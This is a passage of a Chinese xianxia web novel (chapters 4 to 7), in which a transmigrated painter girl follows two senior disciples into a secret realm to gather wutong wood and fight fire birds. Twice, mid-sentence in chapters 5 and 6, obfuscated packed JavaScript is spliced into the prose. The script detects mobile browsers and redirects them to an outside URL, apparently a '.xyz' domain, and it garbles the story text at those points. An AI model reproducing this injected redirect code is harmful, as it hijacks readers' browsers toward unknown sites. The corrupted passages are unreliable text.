“一个画技惊天地泣鬼神,可以把人画得心境紊乱,走火入魔的画修。” 4. 第四章 晨练结束,余白满意地欣赏了几遍自己的这副“日出天极宗”的著作后,小心收好,高兴同柳韫和云茯苓挥别了。 “云师姐再见,柳师兄再见,今天我灵感很好,画得很开心,等我做完任务回来后咱们再约。” “不了,师妹,下次我们还是别……” 柳韫看着三两下已经跑没影的少女,憋了半天吐出最后两个字。 “约了。” “呵,活该,自作自受。” 云茯苓幸灾乐祸道:“不过你也别太绝望了,没准在她的画技荼毒下你的道心日益坚固,因祸得福了呢?” 柳韫清俊的脸上出现了裂痕,苦笑道:“师妹你就别拿我取笑了,早知道收了符纸会摊上这么个小祖宗,给我再多我都不要。” 他揉了揉太阳穴,没有缓解,脑海中余白的那副日出图经久不散,越发头疼。 “哎,真是,小师妹修什么不好,怎么修这个呢?到底是谁引她入得道,这也太误人子弟了吧。” “你知道了又如何?要帮她教训对方一顿吗?” 柳韫下意识问道:“你知道?” 云茯苓抬起下巴往剑修聚集的地方点了点,“诺,就最前头领剑的那位。” “齐师弟?” 柳韫懵了,“他一个剑修怎么引一个画修入道?” “你刚历练回来还不知道吧,余师妹对齐昭这位天之骄子一见钟情,喜欢到甚至为了记录他的英姿以画入道。” 柳韫梗住了,他想破了脑袋都没有想到余白择道的理由会这么离谱。 “这,这,宗门就没人出来劝劝小师妹吗?” 云茯苓淡淡道:“掌门师叔劝了,说她毫无丹青之意,走画之一道一百年可能都在练气打转,劝她跟着她老祖宗去修剑,哪怕天资平平有那么个剑术卓绝的老祖宗在,再驽钝也比当画修强。但她不肯,依旧拿着她那个破画册成天跟着齐师弟屁股后面鬼画桃符。” “掌门师叔没辙了,软的不行想来阴的,他怕到时候余剑尊出关后看到自家后辈误入歧途责怪他,索性找人去将她的画册偷走。她拿一本出来就偷一本走,前前后后偷了十来本。” 柳韫道:“然后呢?” “自然是失败了。她又不是咱们,有余剑尊的储物袋,灵石多得花不完,想买多少灵纸买不到?哪里在意丢的那些画册?反倒是去偷她画册的那个师兄……” 云茯苓没继续说下去了,柳韫却诡异地了然了。 联系云茯苓之前说的话,那个师兄大约,或许,被余白的画给乱了心境。 事实也的确如此,或许要更糟一点。 那个师兄恰好也是个画修,他潜心磨砺画技多年,从来都是他的画影响别人,没曾想有朝一日被别人影响了,还是一个不到筑基的小师妹。 他大受震撼,大为破防,回去后闭门不出一个月,最后决定弃画从剑。 因为剑修的道心大多最为坚固,他想要以剑重新入道,修一颗不为万物所动,固若金汤的道心一雪前耻。 最后掌门什么法子都用了也改变不了余白的想法,也就随她去了。 甚至物尽其用,把她的画拿来考核弟子心境。 许久,柳韫干巴巴感慨了句。 “从某种程度上来看,小师妹这何尝不是另一种天赋异禀呢。” 要是余白听到他们的对话肯定很郁闷,什么一见钟情,为爱入道,她只是单纯在打卡罢了。 是的,系统发布的打卡任务并不单单是围观名场面,还要画下名场面,上传,才算完成打卡。 好在余白自小就爱画画,且画技了得,要不是她文化课成绩不错,当年她早就走艺术生这条路了。 这对余白来说一直都是一个遗憾,不曾想穿到这里因祸得福圆梦了。 余白宝贝似的抱着自己的画册,美滋滋走到齐昭面前拿给他看。 “齐师兄你看,这是我刚才画的日出图,怎么样,好看吗?” 齐昭仔细瞧了瞧,赞许道:“确实不错,把日出破晓的场景描绘得简洁明了,却又不失生动。” “不过师妹,太阳旁边的这两点是什么?飞过的仙鹤吗?” 余白惊喜道:“哇,齐师兄好眼力,没错,就是仙鹤!我当时画的时候还觉得画的太小会不会不容易看出来,但画大一点的话又喧宾夺主,凸现不出朝阳的美了。没想到你一眼就看出来了!你真是我的知音!” 齐昭谦虚地摆了摆手,“师妹谬赞了,是你画得好。” 在两人互相吹捧之际,雪明霜正巧过来听到了他们之间的谈话。 她好奇抬眸看了一眼,只一秒便沉默地收回视线。 “……” 真是一个敢画一个敢夸。 “雪师姐,你来了!” 余白眼睛一亮,上前亲昵挽住雪明霜的胳膊,脆生生道:“这是我第一次下山做任务,我的第一次是师姐实在太好了。” 这话听上去总觉得有哪里不对劲。 余白笑容灿烂,雪明霜也被感染的不自觉勾了下唇角。 她说的不是奉承话,是真的发自内心的开心。尽管余白在宗门内人气不错,但放眼望去,外出任务能够带上她这个拖油瓶且毫无怨言的人少之又少。 雪明霜在得知这次任务有余白却没有拒绝齐昭的邀请,可见她人是真的好! 余白很是感动,她一感动就忍不住想送人东西。 于是她从芥子囊里一掏,拿出了一支百年红珊瑚的簪子踮起脚轻插在雪明霜的发髻上。 “师妹?” 雪明霜一愣,抬手要去拔簪子,被余白制止了。 “雪师姐打扮太素净了,用这个红珊瑚簪子点缀一下正好。你看,戴上后是不是气色都提升了不是?而且超级漂亮,超级适合你。” 余白拿出小镜子给她看,雪明霜生的雪肤乌发,唇红齿白,鹅蛋脸,着一身雪白衣袍,清冷如雪莲,这个簪子簪上去恰如雪中一点红,画龙点睛一般十分好看。 饶是雪明霜这种不注重打扮的,也说不出不好的话来。 她抿了抿嘴唇,“师妹,这太贵重了。” “不贵重不贵重,这次要不是你们愿意带我,我根本没机会下山去见世面,师姐你就别和我客气了。你要是不收我内心过意不去。” 余白眨了眨眼睛,小声对雪明霜道:“而且齐师兄也收了哦。” 尽管余白声音放得低,齐昭还是听到了。 雪明霜很是意外,齐昭这人性格正直,不像是会为了这种小事索要报酬的人,更何况他出身不凡,要什么东西没有,怎么会要余白的东西? 齐昭尴尬地解释道:“那个,这本是小事一桩,我并没有想过索要什么报酬,只是师妹给的是余剑尊的剑谱,哪怕不是不可外传的独创剑谱,可那也是经由余剑尊批注,留下过几分剑意的剑谱,所以我……” 余剑尊的剑谱,对天极宗任何一个剑修都有着无法拒绝的诱惑力,齐昭也不例外。 雪明霜神色复杂地看着眼前笑眯眯的少女。 小师妹真会拿人软肋。 既然齐昭都收了那么一份大礼了,她再推辞下去就矫情了。 雪明霜道:“好吧,那就多谢小师妹的礼物了,我会好好珍惜的。” 贿赂,哦不,礼物的事情告一段落,齐昭开始说任务的事情。 他一边御剑一边说道:“此次我揭的是昆吾峰一个师姐的任务,她需要两根千年梧桐木锻造灵器,而千年梧桐木周围一般都会有白雉凤栖息。” 白雉凤并不是真的凤凰,是凤凰旁支的一种,但它不是灵兽,是妖兽。 它吐出的火焰虽不是真火,却也十分霸道,水浇不熄,风吹不灭,只能斩断或者冻结。 这也是为什么齐昭要邀请雪明霜组队。 作为变异冰灵根的雪明霜可以说是这个妖兽的克星。 但饶是如此,最后还是出了意外,也是两个名场面诞生的契机。 齐昭没想过让余白帮上什么忙,只是单纯拗不过她的请求才带上她的,因此任务安排里并没有考虑到她。 “师姐,到时候若遇到了那孽畜,我先将它引出来,你再去取梧桐木。” 他又看向余白,温声道:“师妹你离远些躲好,顺便帮我们望望风,别教他人守株待兔抢了去。” 余白没有任何不满,她是来记录名场面的,对付妖兽什么对她而言太超过了,于是忙不迭点头。 “好的,交给我吧,我不会让任何人打扰你们的。” …… 百年梧桐木常有,千年梧桐木不常有,后者多在秘境深处。 一行三人这次要去的秘境便是一处大能坐化形成的秘境,听说坐化的大能是一位佛修,只有已识乾坤大,犹怜草木青的佛修的灵气才能孕育出适宜梧桐生长的秘境。 要进秘境之前得先登记,然后付入境费。 这是规矩,毕竟秘境就这么多,要是谁都能进早就被破坏的不成样子了。 登记的地方在百境堂,齐昭他们刚进去就看到了里面乌泱泱一群天南海北的道友在排队。 “我要去天池!名额满了?那,那就换天池脚下的那个小秘境!” “道友,帮我登记下虚无海!我们三个人一起!夺少?三千灵石,还是中品?!你怎么不去抢?那破地方灵气稀薄,也就我们这些瓶颈期的修者会去碰一碰突破的运气。打个折吧,两千五?两千六?两千九百九十九?!非人哉,就少一块灵石还好意思说是打折?!要要要,我们没说不要啊!苍蝇腿也是肉啊!” “劳烦问一下,修补剑脉的秘境哪个更合适一点?十几个剑修秘境我眼睛都给挑花了。咨询费十块灵石?那算了,我再看看。” “桃山的,有要去桃山的吗?飞舟马上就开,特价船票,先到先得哈。” 齐昭他们在后面排队,好在负责他们这边窗口登记的道友很利索,很快就排到他们了。 “你好,去凤梧秘境,三人多少入境费?” 登记的道友看齐昭一副气度不凡的样子,又瞧了下身后的余白和雪明霜,尤其是余白一身避火法衣,品质上乘,腰间的芥子囊上覆高等灵纹,一看就是个腰缠万贯不缺钱的主。 他眼珠子一转,笑眯眯道:“你稍等,我且先查看一番。” 他指尖一动,灵线拨动着对应的秘境图册,图册上红色的点数代表着对应的入境人数。 “哟呵,你们来得巧也不巧。凤梧秘境本来开的四扇灵门入口,前段时间打南边来了个喇嘛,哦不,是来了一道天雷,把南门给劈没了,至今都还在维修,所以名额骤减了四分之一,原本十二的名额如今只允许九人通行。” 他指了指上面的红点,余白顺着看去,发现上面已经有七人了。 “现在只有两个名额了,你们三人要一起入境可能……” “不行?” 登记的道友道:“得加钱。” 齐昭:“……” 齐昭问道:“加多少?” 道友慢悠悠伸出三根手指。
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余白伸手道:“不信你可以测测我的修为,我真的很弱的。” 余白抓住了自己弱鸡一枚的漏洞试图讲价,但登记的这位道友油盐不进,并对她发起反击。 “不用测,我认得道友你,余秋离余剑尊的后代。” 言下之意是你是弱鸡的事情众所周知 这还不算,他又进行了一番拉踩。 “我之所以狮子大开口要三万中品灵石不是因为你,是因为齐道友还有雪道友,这两位是天极宗年轻一代的翘楚,他们的灵根灵力纯度都极高,尤其是齐道友先天道体加天生剑骨,入此方秘境必然会引起妖兽蠢蠢欲动,妖力四溢。三万中品灵石只能保证三日的秘境安定,三日后要是你们没有出来还得再加钱,到时可能消耗的可能就是上品灵石了。” 所以这是即使没有她这钱也得加吗? 齐昭仔细推敲了一番对方的话,没找出明显的矛盾和漏洞后和雪明霜对视了一眼,雪明霜微微颔首。 齐昭这才上前,从腰间解下一枚赤金灵玉,上雕龙纹,灵力流转,栩栩如生。 “我灵石不够,你看这块灵玉价值几何?” 他眼睛一亮,接过灵玉的瞬间,耳畔响起龙吟。 “这,这可是齐春秋前辈之物?!” 齐春秋的本命剑是一把斩龙剑,他的剑意带有虎啸龙吟。 齐昭点头:“正是家父闲暇时刻雕刻之物。” 赤金灵玉价值不算高,只能算中等灵玉,可经齐春秋之手那价值就不可估量了。 “够了够了,简直够够了。别说三日,有这块灵玉维持灵门阵,你们在里面待上一个月都没问题。” 他笑得见牙不见眼,拿着那块灵玉就要放到百宝匣里。 “等等。” “余道友可还有事?” 在齐昭将灵玉拿出来的时候,系统就在余白脑海中炸了。 【不行!这块赤金灵玉是齐昭送给雪明霜的定情信物,是著名的名场面之一,不能就这么交出去!崩剧情了!宿主,快,阻止他!】 余白对齐昭道:“齐师兄,这太贵重了,拿去当一个名额实在不划算。我这里有一块灵玉,是昆吾峰的一位师兄送我做剑坠子的,做工精巧,价值也差不多在三万中品灵石左右,我拿这个给他换吧。” 虽然拿师兄送的东西买名额不好,但余白也没办法,她的芥子囊里的东西都是些价值不菲的好东西,拿那些出来她更舍不得。 之后再去给他赔礼道歉吧。 余白拿出一块无瑕灵玉,上面也刻了图纹,是一尾漂亮的小鱼。 余白上辈子是蜀城人,她的名字念起来很像方言的鱼摆摆,这也就成了她的一个绰号。 “给。” 登记的道友有些不舍得,试图劝说道:“哎呀余道友,这个凤梧秘境最近可动荡了,听说潜入进了魔族之人,以防万一秘境还是开久一点吧,万一你们困在里面出了意外怎么办,齐道友雪道友你们说是吧?” 齐昭和雪明霜还没回答,余白啪的一声把玉拍在了桌子上。 “少废话,赶紧把齐师兄的灵玉还我!” 然后又扭头朝着她们笑容甜美,柔声说道:“齐师兄雪师姐,你们那么厉害,你们肯定可以保护好我的,对吧?” 齐昭:“……我努力。” 雪明霜:“……我尽力。” 得到两个大佬保证后,余白更理直气壮了,她直接上手。 “拿来吧你!” 你是女主吗?这是你的东西你就要,小心被天道给惩戒了! 余白抢过灵玉,也听到了虎啸龙吟的动静。 【哦哦哦哦,不愧是男主的爸,也这么有王霸之气!】 系统爱屋及乌,把齐春秋也吹了一遍。 真是够了,这个主角控。 齐昭其实也有点不舍,他爹一向醉心修炼,少有时间陪伴他,就算有也是督促他修行,因此他给他的东西不多,这个赤金灵玉算一件。 他见余白拿回来后心下微暖。 余师妹总是这样温柔善良,说什么觉得太贵重不划算,实际上是不希望他拿亲人的东西做抵押。 “多谢师妹……” 齐昭微笑着伸手要去接,少女却无视了他,把赤金灵玉递给了雪明霜。 ?? 5. 第五章 不仅齐昭懵了,雪明霜也被余白这一举动给弄得愕然。 雪明霜提醒道:“师妹,这是齐师弟的玉佩。” “哦哦哦,抱歉,我越俎代庖了。” 余白拍了下脑门儿,赶紧把玉佩塞给了齐昭,然后眨着布灵布灵的大眼睛一脸期待地盯着他。 齐昭不明白她在期待什么,道了声谢,便把失而复得的灵玉系在了腰上。 ?就这样结束了? 按照剧情不应该是齐昭把玉佩送给雪明霜吗,怎么拿回去了? 没有捕捉到名场面的余白很是遗憾。 【这才剧情前期呢,她们之间还没有经历什么生死与共不离不弃的剧情,一下子就给定情信物太突兀了。不过咱们可以蹲一波这次秘境之后,没准这次剧情结束两人的感情就突飞猛进了。】 手拿剧本的系统一点都不着急,反过来安慰余白。 有时候余白还挺佩服系统的,你那么一本又臭又长毫无内涵的无脑小说它不光看完了,还细细品味了好几遍。 她完全做不到,当时要不是那个同学让她看看提点意见她连翻都不会翻开,饶是如此她也只是硬着头皮看了个大概,本身就没认真看,现在又在这里待了一年,好多剧情就更是忘得一干二净了。 要是能够永远也记不起来也挺好的,偏偏这个系统时不时就要提醒她。 登记的道友一脸到手的鸭子飞了的郁闷表情,将通行的玉牌拿给了她们,然后棒读。 “北门。祝你们闯境愉快,收货满满。” 余白笑嘻嘻道:“借你吉言咯。” 拿着玉牌一蹦一跳跟着齐昭和雪明霜屁股后面,跟个小尾巴一样往秘境北门通道过去。 四方灵门阵是百境堂堂主独创的一种高阶法阵,以四方神兽,青龙,白虎,朱雀,玄武之力做阵眼,可以开启和支撑任何秘境。 但需要维持阵法的灵力巨大,每个秘境开启的时限以具体秘境的难度不定,难度越高的秘境开启的灵力耗费越大,时间也越少。 凤梧秘境作为中等秘境,如果南门没有被破坏的话一般可以开启半月,这次时间只有三日,实在是时间紧任务重。 一进入秘境齐昭就开启了灵盘感应方位,雪明霜则不动声色的释放灵力和周围草木相融,借草木的气息去感知梧桐木的所在,和警惕附近的妖兽和修者。 毕竟秘境危险的不单单是那些生性嗜血的妖兽,还有躲在暗处杀人夺宝的同修。 她们这样谨慎小心,搞得被他们护在中间的余白也紧张了起来。 她从芥子囊里拿出一把爆破符,艺术就是爆炸,谁来她就炸他! 她们就这样一直沿着罗盘感应的方向走着,北门本就靠近梧桐木生长的地方,加上一路上并没有遭遇什么埋伏攻击,所以她们很顺利就找到了一棵千年梧桐木。 所谓千年梧桐木并不是指这棵树真的就活了千年,而是因为这个秘境是由一位坐化的佛修大能的一串货真价实的千年梧桐木做的佛串幻化而成,在这里生长出来的梧桐树从生根发芽到长成,都接受了佛串的灵力滋养而成,带有一部分千年梧桐木的灵力。 虽然实际效用和真正的千年梧桐木相比远远不如,却也是一种难得的炼器材料。 齐昭他们找到的这颗梧桐树很高很茂盛,树枝和叶片都散发着浅淡的金色灵光,不愧是佛修坐化之物,连灵力都那么纯粹圣洁,让人心灵得到净化。 这是高情商的说法。 低情商的说法是——看着就想跪了。 “余师妹,静心。” 雪明霜扶住余白的手臂,余白恍惚了一下,这才发现自己的膝盖已经弯下去了。 “这位佛修前辈修为很高,和余剑尊是同一时代的人。当年天魔祸世,人界受魔气侵蚀,绝望和痛苦蔓延整个大地,这位佛修前辈彼时还不过金丹境界,他悲悯世人苦难,将自己的金丹剖出炼化七七四十九日炼成一枚舍利,将舍利投入人界,佛光普照,魔气退散,救凡尘于危难。百姓感念他为他修了庙宇,镀了金身,因此他的灵力所化之物都带着佛性,修为低微和心性不稳的人会被其影响,对其顶礼跪拜。” 齐昭像百科全书一样将余白“想跪”的举动详细解说,旁边的雪明霜对这个秘境的主人虽有所了解,却远没有对方清楚。 她有些好奇:“你在来之前做过调查?” 齐昭摇头:“这些都是听我爹说的,他有时候会回忆些陈年往事,我在旁边听到他提起过这位前辈。” 这可是剧情里没有的,而且有深度有内涵多了。 余白也听得津津有味:“这位前辈和你爹是好友吗?你爹那么了解他,感觉关系应该很好的样子。” 齐昭微皱了下眉:“这我就不知了,但是……” “但是什么?” 齐昭道:“我爹提起这位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664703|172944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前辈的时候给出的评价并不太正面。” 这还是委婉的说法了,齐春秋每次提到这位佛修的时候总是嗤笑嘲讽,骂人短命鬼,假圣人,是连个化道境巅峰都没达到废物,简直丢无相寺的脸。 可说讨厌吧,齐春秋又不是那种会对讨厌的人念念不忘的人。 就拿他的死对头余秋离,他十年都想不起对方一回来,哪怕听到人提起都会骂一句晦气。 余白道:“这样啊。” 她没有刨根问底追问太多,只问了她最想知道的一个问题。 “那这位佛修前辈叫什么啊?” 齐昭想了下,不是很确定道:“似乎姓姬,名跋。” 姬什么,跋什么?几把? 余白以为自己听错了,又问了一遍。 “姬跋。” 齐昭看着余白一副吃了苍蝇的表情,疑惑道:“为何师妹这个表情,这个名字可有何不妥?” “……没,挺别致的。” 余白一想到这位普度众生,心有大爱的大佬结果叫这个名字,感到十分幻灭。 她努力让自己忘掉那个名字,强行把话题掰回正轨。 “那个,既然已经找到梧桐木了,咱们赶紧去取吧。” 齐昭道:“再等一下。” 他看向雪明霜,雪明霜了然,感知着被她的灵力所冻结的四周草木。 草叶上覆着一层薄薄霜雪,很均匀,没有被踩过或者消融过的痕迹。 “附近没有修者埋伏,也没有白雉凤的痕迹。” 齐昭微微颔首:“那麻烦雪师姐在这里继续留意周遭和保护余师妹了。” 雪明霜以行动做回答,用凝结的冰球将余白保护在其中。 齐昭还是有点不放心,又叮嘱了一句。 “师妹,你好好待在冰球里不要出来,若是雪师姐遭遇什么危险你也不要乱动或者提醒,帮她扔几个爆破符就好。知道了吗?” 不怪齐昭这么不放心,主要是余白有前科,之前有一次他在练剑台和一个挑衅自己的世家子切磋,对方用了禁术被余白发现了,她大声嚷嚷着指出来,对方恼羞成怒一掌朝着她拍了过去。 幸好齐昭阻止及时,不然她天灵盖都得拍碎了。 余白点头如捣蒜:“你放心吧师兄,我一定乖乖的。” 这可是你的高光剧情,我一个区区路人甲哪里敢和你抢?不要命啦。 6. 第六章 昆吾峰的那位师姐要的不是普通的千年梧桐木,而是最顶端和最底端的梧桐木各一段。 上面的承载日月精气,下面的吸收土地灵气,是品质最好的。 齐昭身轻如燕,一跃至了树的顶端,挥剑一斩,一截梧桐木便到手了。 梧桐木离开了树后得立刻用灵力封存起来,不然很容易干裂枯槁。 而木亲水,用水系的灵力来封存最合适不过。 齐昭的天灵根在五行之外,不受五行束缚,同时也意味着他可以自如使用五种灵根属性的灵力。 他将灵力凝聚,很快凝成了一团水球,水系灵力将梧桐木的根茎完全包裹。 将其收到了随身的芥子囊里后,齐昭又顺着最顶端切断的根部往下感知,找到了和它相连的最底端的那段梧桐木。 下面这一段扎根在土壤里,没那么好取。 齐昭找准了位置后引剑直刺,约莫五六尺的灵剑如遁地般没入地里,又如游蛇一样在里面转动。 在找到最深处的根部后,他双指一并,操纵灵剑将其斩断,然后调动灵力把它从下面用剑给挑了出来。 泛着金光的梧桐木被挑出,剑也跟着破土。 齐昭如法炮制将梧桐木给封存好后就要撤离,偏这时候传来一声清厉的鸣啼。 “齐师弟当心!” 那边的雪明霜感知到周遭的冰霜以肉眼可见的速度在消融,心下大惊,赶紧提醒齐昭白雉凤的逼近。 梧桐是白雉凤栖息的地方,梧桐木被断,灵力的波动自然引起了不远处白雉凤的觉察。 白雉凤穿林而过,雪白的翎羽在日光下漂亮耀眼,飞到头顶的时候宛若一片柔软无害的云彩,可越是美丽的东西越是危险。 在它逼近齐昭的瞬间,它用力扇动翅膀,罡风如刀,巨大的风力逼得齐昭滑退数十步和它拉开距离。 这还不算,风里夹杂着的羽毛更是锋利,撞在灵剑上擦出细碎的火星。 它将齐昭逼退,整只鸟大摇大摆悬停在梧桐木之上,像母鸡护崽子一样护着这棵大树。 在看到树上被破坏的痕迹它愤怒的向天啼叫,然后朝着齐昭所在的方向喷出赤红火焰。 齐昭旋身避开,火焰却是有生命一样迅速拐弯。 剑修以速度闻名,齐昭这样的剑修天才速度只会更快。 火焰无法追赶他,反而燎原的火把周围烧了个干净,还有一些差点烧到梧桐木。 白雉凤很聪明,见奈何不了齐昭便调转火力往雪明霜那边攻击。 铺天盖地的红焰如海,朝雪明霜而去。 雪明霜不退不避,将冰球连带着余白推到身后,抽出腰间缠绕着一条银白长鞭,破空往白雉凤身上抽打。 长鞭凝着森然寒气,所到之处冻结成冰。 铺面而来的火焰也被冻结在半空。 “齐师弟,就是现在!” 戚百草,就是现在! 不,不是,这种时候就不要玩这种烂梗了! 余白紧张地盯着战况,齐昭在火焰连同着白雉凤的嘴一并冻结在半空后立刻拔剑攻去。 擒贼先擒王,杀人先砍头,这一招对付妖兽也是如此。 齐昭将剑气凝聚在剑刃,对准它的脖子挥斩! 剑入了一半,鲜血喷涌如柱。 白雉凤发出凄厉的啼叫,响彻云端,震开山林。 它的鲜血燃烧成比喷出的红焰还要灼热赤红的火焰,沿着雪明霜的寒气唰的一下往她的鞭子上蔓延。 雪明霜整个鞭子都被烧红了,她试图引灵力去扑灭,可这是凤凰啼血,是以生命为燃料燃烧的火焰,形同真火,不死不休。 再不松手这火就要烧到她身上了。 她只得咬牙丢下长鞭,带着余白往后远离火焰的侵蚀。 余白在冰球里,雪明霜是用一条灵线连接冰球的。 这就很像溜溜球,她往后往前往上往下都由雪明霜进行操纵。 那火焰带着滔天的戾气,追着雪明霜没完没了。 齐昭刚才没有用全力斩下白雉凤的头颅是因为雪明霜和余白离得太近,他担心剑气太盛会波及到她们。 但他也没有多保留,用了八分的力道,却不想白雉凤的脖子这般固若金汤。 殷红滚烫的血把他的手烧灼,还有的滴落在他衣服上,瞬间燃烧起来。 齐昭用力将剑从它身上拔出来,然后迅速把烧起来的衣服脱下。 他穿着一身白色薄衫,如玉的面容少有的狼狈。 齐昭要避开火焰轻而易举,白雉凤也知道,便火力全开往雪明霜那边攻击。 猩红的火蛇追赶着雪明霜,雪明霜不善近身攻击,所以她的速度其实并不慢,前提是没有余白这个拖油瓶的话。 余白也看出来对方带着自己的力不从心,好几次差点儿被火焰灼烧。 看着冰球已经有融化了趋势了,在火焰马上要烧进来的时候余白干脆一不做二不休,直接在冰球上砸了一个口子,然后在雪明霜错愕的眼神下切断了她的灵线。 “师姐,快跑!往齐师兄那边跑!” 余白一边吼着一边踩着冰球快速转动,然后逃出一堆极速符贴在自己身上,脚下都要踩出火星子了。 雪明霜带着她很快就会被追上,但分开行动就不一定了。 “师妹!你跑错了,齐师弟在另一边!” “我没跑错,我跟你们在一起反而容易拖你们后腿!你别担心我,我还有一大把极速符呢,它追不上我……啊啊啊啊!它怎么突然加速了!” 余白嗷嗷叫着又给冰球上贴了一堆极速符,一人一球都在拼命地转着,这才以微弱的优势甩开啼血的火焰。 余白给雪明霜争取到了喘息的机会。 在确定余白暂时安全后她也没再迟疑,往齐昭那边过去。 如果只是普通喷出的火焰她的冰灵根尚且能够压制,但以血燃火便是真正的凤凰真火了,她需要齐昭的剑气辅助压制。 雪明霜掉头没多久后面的齐昭也追上来了。 两人对视了一眼,都从对方的眼中看到了同样的意思,随即二话不说便动手了。 雪明霜以灵力凝出无数冰棱,齐昭将剑气覆在其中,冰棱肉眼可见变成了一把把冰剑。 寒气逼人,剑气更逼人。 两人操纵着无数冰剑刺进翻腾的火焰,火焰此时是火蛇的样子,但已经开始变大,生出羽翼的形状了。 在化成火凤之前,剑气断了火脉,火焰似被抽走魂魄的人一样变暗变小,重新变成了汩汩血水。 那些血水有一部分流回了白雉凤的身体,大部分被冰剑斩断失去了活性,把周围的草木侵蚀成了齑粉。 白雉凤吃力地抬起翅膀,最后无力垂落,带起蔓延的尘土。 它嘶哑地叫了一声,金色的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664704|172944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛死死盯着雪明霜和齐昭。 雪明霜似有不忍地别开头,齐昭则神色平静。 他爹齐春秋有好几处福天洞地,里面灵气充盈却从不用来修炼,而是摆放他的战利品。 其中就有一处洞府全是高阶妖兽魔兽的头颅,皮骨,所以他对此早就司空见惯。 那边的余白全程都有系统直播,在看到白雉凤被解决后立刻蹬着冰球折返回来了。 “齐师兄,雪师姐,我回来了!啊啊啊,我刹不住车,师姐快让开!” 在快要撞到雪明霜的时候,她伸手挡住了冰球,随即“咔嚓”的声音响起,冰球碎裂,余白扯掉身上极速符跳了下来。 “谢谢师姐。” 她拍掉衣服上是冰屑,看向那头倒在血泊中的白雉凤。 “它死了?” 齐昭点头:“嗯,灵力耗尽失血过多而死。” 啊?不是,这还没英雄救美还没危境突破呢,死的也太随便了吧。 齐昭道:“我去把它妖丹剖出来,五品妖兽还是凤凰一脉的旁支,妖丹价值只高不低,到时候卖去百境堂,正好帮你把你的灵玉赎回来。” 雪明霜道:“还是我来吧。” 她目光落在齐昭被烧红一片的手上。 齐昭看着她问道:“会不会勉强?” 雪明霜一愣,摇头道:“我是看着它死状凄惨,有点可怜,但修真界本就是弱肉强食。今日它不死,死的便是我们。” 齐昭这才是放心让她动手。 余白咬着手指,一脸怀疑人生。 真死了?真的假的?会不会诈尸?或者自爆? 余白不放心,也不死心,对齐昭说道:“师兄你也过去吧,万一出什么意外了怎么办?” 齐昭以为余白是给吓到了,微笑道:“放心,它已经死了。倒是你,刚才有没有被烧到?” “没呢,我贴了五十张极速符跑得可快了,就是腿快跑废了,脚趾头动一下都痛。” 余白揉了揉自己酸痛的膝盖,然后从芥子囊里拿出几瓶丹药,这是沈宿眠给她的,具体什么作用她不知道,所以她每一瓶都倒了几颗,然后一股脑全塞嘴里嚼吧嚼吧咽下去。 剩下的全部给了齐昭。 “师兄也吃点吧,沈师兄出品都是精品。” 齐昭的身体恢复能力很强,这种程度的烧伤和灵力消耗一两天就能好,只是他也不好拒绝少女的一片好意,于是就象征性的吃了一颗。 丹药刚下肚,地龙猛地翻身。 强大妖力波动让齐昭神色一凝,那边刚剖取完妖丹的雪明霜也赶紧往余白方向丢了一个冰球。 余白再一次被圈到了冰球里。 紧接着,一声更为尖锐刺耳的啼叫传到了余白的耳朵里,疼得她龇牙咧嘴。 要不是有雪明霜当冰球隔绝部分音波攻击,她此时估计耳膜都震碎了。 余白捂着耳朵,疼得眼冒金星。 【宿主,你看上面!】 系统惊呼道:【又来了一只!】 余白抬头一看,一只通体雪白,比之前更大的白雉凤飞了过来,展开的羽翼遮云蔽日,带着比地上那只更加肃杀可怖的气息。 “还有一只白雉凤?!” 齐昭神色冷沉:“不,它不是白雉凤,是白雉凰。” 凤为雄,凰为雌。 哦豁,人老婆过来报仇咯。 7. 第七章 “余师妹,你……” “我懂我懂,我这就滚!” 雪明霜话没说完,余白就十分熟练的把刚扯下来的极速符给自己和冰球贴上,踩着冰球就一溜烟滚开了。 雪明霜:“……” 齐昭勾了下唇角,但随即意识到现在情况危急,这样严肃的场合笑场太不应该了,于是又把那点儿弧度强行压了下去。 余白火速全蹬,在蹬到系统计算到的最近不会被波及到位置才停下。 她就知道不可能那么简单的,果然! 系统激动地催促道:【马上就要诞生两大名场面了,快,快准备打卡!】 “知道了,我正在准备呢。” 余白掏出画册和笔,聚精会神盯着系统远程直播的屏幕,生怕一分一毫的精彩瞬间。 齐昭和雪明霜这次是第一次合作,可配合十分默契。 一近一远,一攻一防,都没有如何商量对策的情况下能做到这种程度实在让人惊讶。 【有什么好惊讶的,雪明霜是女主之一,男女主有点子心有灵犀的默契正常得很。哦哦哦齐昭这一剑好帅,你看见没,把那个鸟脑袋上的毛都给削掉了!还有雪明霜,这腰这身材,甩起鞭子也太得劲了!啊啊啊,缠上去了,鞭子缠剑上面去!可恶,这种也很名场面啊,为什么不能打卡!】 又来了,这个毒唯系统,每次一到名场面打卡的时候恨不得把每个动作都慢放五百倍,品鉴出十万字的赏析论文来。 余白自动屏蔽掉系统的鸡叫,仔细观察着战况。 两人的配合默契归默契,但是经过先前对付白雉凤一站,他们的灵力明显不足。 尤其是这只雌鸟的修为明显不止五品,估计在六品中的程度,而且它的力量和火焰也更大更强,速度也很快,此时又被愤恨裹挟,可谓是小宇宙爆发,逼得他们频频后退。 他们看上去好像不妙啊。 不过这段剧情本身就是男主被逼绝境,英雄救美得以突破,要是占上风剧情还不好发展。 